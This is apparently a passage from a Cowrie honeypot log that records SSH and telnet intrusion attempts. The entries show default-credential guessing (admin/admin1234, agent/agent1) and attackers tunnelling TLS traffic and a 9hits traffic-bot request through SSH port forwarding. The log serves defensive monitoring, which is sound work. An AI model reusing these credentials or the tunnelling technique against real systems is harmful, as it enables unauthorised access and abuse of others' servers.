bs0f5W6wiUL0qs6COq1hhpvimMbZY9At7BNVifxrIu3VtDMV5c39BQlKYlhR9uVIfX%2BLptkAltKTNXv92VVPKaEYUo3BIWRambv3LZ7JRFFY9b4J4tcFKmJG3vVD6vSaCDGjWOgAm8h%2F7%2FBOd0J8t23gT%2FTzE1kEroi4Dd%2BSr43NJPLIHEbqvRwjymYH3Iy%2Bxp%2B%2B4wJZ5wSKhDU%2FjpzFQcdniUvKLX5Qyzb6WaJkwCzMBFVeMVREugF4dJhET0LRTOA%2Bu7M98TQ20xm9xa8kQsLz0HZ88Rs%2BOuPmaZJpSt9KtuunNZYnPz7YroZhNu3pT%2FZ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.353109Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.357732Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5y\\xa7\\xc7\\xfb\\r\\xd1\\x95I\\x044:\\x8f\\xb0\\x1c\\x16\\xba\\xa7p\\xe5Q\\x98\\xe1v\\xc0\\xe75n\\xdc\\x91\\x0fA }K\\xd0A\\xde\\xe6\\xb7\\x9a\\xd1FQ\\xed\\xa6\\xec\\xd8.0\\x0eL\\xcf\\x9c\\xf9sn\\x8d\\xd6\\x18\\x87O2\\r`\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb\\xe7\\x19)\\x07\\xd5>\\xbd\\n$]\\x9b\\xe2D\\xcf\\xbe&:\\x11g\\x00\\xc3:\\x1c\\xb2k\\x9b\\xda\\x06(\\x8a$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5y\\xa7\\xc7\\xfb\\r\\xd1\\x95I\\x044:\\x8f\\xb0\\x1c\\x16\\xba\\xa7p\\xe5Q\\x98\\xe1v\\xc0\\xe75n\\xdc\\x91\\x0fA }K\\xd0A\\xde\\xe6\\xb7\\x9a\\xd1FQ\\xed\\xa6\\xec\\xd8.0\\x0eL\\xcf\\x9c\\xf9sn\\x8d\\xd6\\x18\\x87O2\\r`\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb\\xe7\\x19)\\x07\\xd5>\\xbd\\n$]\\x9b\\xe2D\\xcf\\xbe&:\\x11g\\x00\\xc3:\\x1c\\xb2k\\x9b\\xda\\x06(\\x8a$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.360838Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.647976Z","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.930908Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x08xd\\xe33\\xd2\\xb9G\\xfb\\x8d\\xea\\xf5\\xb0\\x17\\xef\\xfd\\x07]0\\'\\xe5\\xcc\\xad\\xa5\\xba\\xe1q\\x1d\\x1a\\xaa\\xd9L `q\\x0c\\xf0\\xa3\\x80\\xa6\\xb3\\x85\\xf0\\x1b\\x18\\xad+\\xb0\\xcd\\xae\\xf5\\x9f\\xa8\\xf9:NP\\x90\\r\\x95n\\xf5\\x9d\\xea\\xc2\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xde\\xe2\\xa6\\xbd\\xea\\x19<U\\xb3R\\xb7I\\xef0O\\x03)\\xca\\xc5\\x92\\xe3*4\\x88\\x9d\\xde\\xdd\\xb6C/\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x08xd\\xe33\\xd2\\xb9G\\xfb\\x8d\\xea\\xf5\\xb0\\x17\\xef\\xfd\\x07]0\\'\\xe5\\xcc\\xad\\xa5\\xba\\xe1q\\x1d\\x1a\\xaa\\xd9L `q\\x0c\\xf0\\xa3\\x80\\xa6\\xb3\\x85\\xf0\\x1b\\x18\\xad+\\xb0\\xcd\\xae\\xf5\\x9f\\xa8\\xf9:NP\\x90\\r\\x95n\\xf5\\x9d\\xea\\xc2\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xde\\xe2\\xa6\\xbd\\xea\\x19<U\\xb3R\\xb7I\\xef0O\\x03)\\xca\\xc5\\x92\\xe3*4\\x88\\x9d\\xde\\xdd\\xb6C/\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.934612Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.958827Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:21.352708Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":42780,"dst_ip":"159.203.135.109","dst_port":22,"session":"31cb7ea25cda","protocol":"ssh","message":"New connection: 49.247.37.22:42780 (159.203.135.109:22) [session: 31cb7ea25cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:40.530463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:40.535343Z","src_ip":"49.247.37.22","session":"31cb7ea25cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:40.745864Z","src_ip":"49.247.37.22","session":"31cb7ea25cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent1","message":"login attempt [agent/agent1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:41.631472Z","src_ip":"49.247.37.22","session":"31cb7ea25cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41978,"dst_ip":"159.203.135.109","dst_port":23,"session":"2606ad71b1cb","protocol":"telnet","message":"New connection: 172.81.62.90:41978 (159.203.135.109:23) [session: 2606ad71b1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:42.135567Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:42.843222Z","src_ip":"49.247.37.22","session":"31cb7ea25cda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:42.957129Z","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:43.014249Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1214\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Kobe3-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NmkxfjU1U2djTmchM0o8SA%3D%3D9rg3BEDM8r50nVrqXgG1qxYc%2BdUExLjqCPl%2B8Eb%2Fd2FoujtBFcfsORrzODZHWumM6hYnqS7uY8CoPpilGjIOyZNF9VYK9JWUNUF5537v64nV2U5NOidGw87e3myTc9%2B8MRfbUqV7irp1QGRHX6VVHw%2BXpkcNa%2BD8Q9PPzUdnQ488QrVlvcnee9PGR5pcAXUotTifABo%2FM2o1qr9Zm4d8JJoB%2Ba3%2FK2OzNTJ9QQLW0EQ8a4VCisvZGC0EUAlJFcyU%2FJwqznejm4yyEu6%2FbYPPWO2KBdtoBs6kX%2B90yH0rH72%2F%2B3mdl4D58c0sdY2lnuSH4Mb44kWPz%2FQqTxFuqqb3uAoAZ5Z1Lgc%2BoZEvOAoIZzaRII34QgzcLb4BHLBAmJs4UqVZ3yzSdAvHfhml9qHZeSIMdWj0DNu3YGS0MfYOZMiRzeBYR42NsDlaJnxs6vdaBK6UM57%2B1KNBnIqPpPthXMw6cx2OZ34rBJqx0eq7SfMjtpPxchMYCiCdGKzPcBXSVNpLS%2FVhQ8%2B627hiH9t6sk%2Bd%2FQmnrrT%2Fk9PvxkeMX4PHhDW2zT1IwWWfJyFh5xe9kFN%2FSB1i71Gp9t%2F39C3msTtrHHF%2BmbDDXEy%2FeCgGemy5kCyJJRZNeuII20IKCOC37LGDRJhzI2YxsiImes66Y%2Fsd5FlgrakLvi8T0Wi%2BWH%2F0C2sFSU23Nf2XxWfgkMO%2FyYns5gis66ItLQOVrbs8sDR4d92BrTSY8kpMZ72rwXqnLyesBRtgr%2Bgqu89lOLqD%2FEppIs%2BAVNjm6aggMwmn1i4JO2INCV2oRa9jUQkns1mxtfVvGW0kTQLFFp4BVrkDhZxpmcIabWyugt6AvJQk0OqLj7Ijlo12A6q%2FMDQknTaIKGNLcnwD%2F9k10payPFoy5krOTrUozFx03tZmmZiGq%2FU4DtGv%2BJ8h%2FmMm3GHWqMIW%2B%2FxCceI3%2BARUahaClNhkCTypMx2PZReTq3ElkrFstKsPB78HIA%2BBSdPDh9%2F03Ac7jBS%2BxmSWNNKqOU01rMNUTNI97dsWeXHi%2Fv5LooPW3X1KQ5mOdYB5PfRyx0S%2F9muaG3f%2B%2B8r8V5ytAM8XP3QD'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1214\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Kobe3-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NmkxfjU1U2djTmchM0o8SA%3D%3D9rg3BEDM8r50nVrqXgG1qxYc%2BdUExLjqCPl%2B8Eb%2Fd2FoujtBFcfsORrzODZHWumM6hYnqS7uY8CoPpilGjIOyZNF9VYK9JWUNUF5537v64nV2U5NOidGw87e3myTc9%2B8MRfbUqV7irp1QGRHX6VVHw%2BXpkcNa%2BD8Q9PPzUdnQ488QrVlvcnee9PGR5pcAXUotTifABo%2FM2o1qr9Zm4d8JJoB%2Ba3%2FK2OzNTJ9QQLW0EQ8a4VCisvZGC0EUAlJFcyU%2FJwqznejm4yyEu6%2FbYPPWO2KBdtoBs6kX%2B90yH0rH72%2F%2B3mdl4D58c0sdY2lnuSH4Mb44kWPz%2FQqTxFuqqb3uAoAZ5Z1Lgc%2BoZEvOAoIZzaRII34QgzcLb4BHLBAmJs4UqVZ3yzSdAvHfhml9qHZeSIMdWj0DNu3YGS0MfYOZMiRzeBYR42NsDlaJnxs6vdaBK6UM57%2B1KNBnIqPpPthXMw6cx2OZ34rBJqx0eq7SfMjtpPxchMYCiCdGKzPcBXSVNpLS%2FVhQ8%2B627hiH9t6sk%2Bd%2FQmnrrT%2Fk9PvxkeMX4PHhDW2zT1IwWWfJyFh5xe9kFN%2FSB1i71Gp9t%2F39C3msTtrHHF%2BmbDDXEy%2FeCgGemy5kCyJJRZNeuII20IKCOC37LGDRJhzI2YxsiImes66Y%2Fsd5FlgrakLvi8T0Wi%2BWH%2F0C2sFSU23Nf2XxWfgkMO%2FyYns5gis66ItLQOVrbs8sDR4d92BrTSY8kpMZ72rwXqnLyesBRtgr%2Bgqu89lOLqD%2FEppIs%2BAVNjm6aggMwmn1i4JO2INCV2oRa9jUQkns1mxtfVvGW0kTQLFFp4BVrkDhZxpmcIabWyugt6AvJQk0OqLj7Ijlo12A6q%2FMDQknTaIKGNLcnwD%2F9k10payPFoy5krOTrUozFx03tZmmZiGq%2FU4DtGv%2BJ8h%2FmMm3GHWqMIW%2B%2FxCceI3%2BARUahaClNhkCTypMx2PZReTq3ElkrFstKsPB78HIA%2BBSdPDh9%2F03Ac7jBS%2BxmSWNNKqOU01rMNUTNI97dsWeXHi%2Fv5LooPW3X1KQ5mOdYB5PfRyx0S%2F9muaG3f%2B%2B8r8V5ytAM8XP3QD'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:43.017322Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
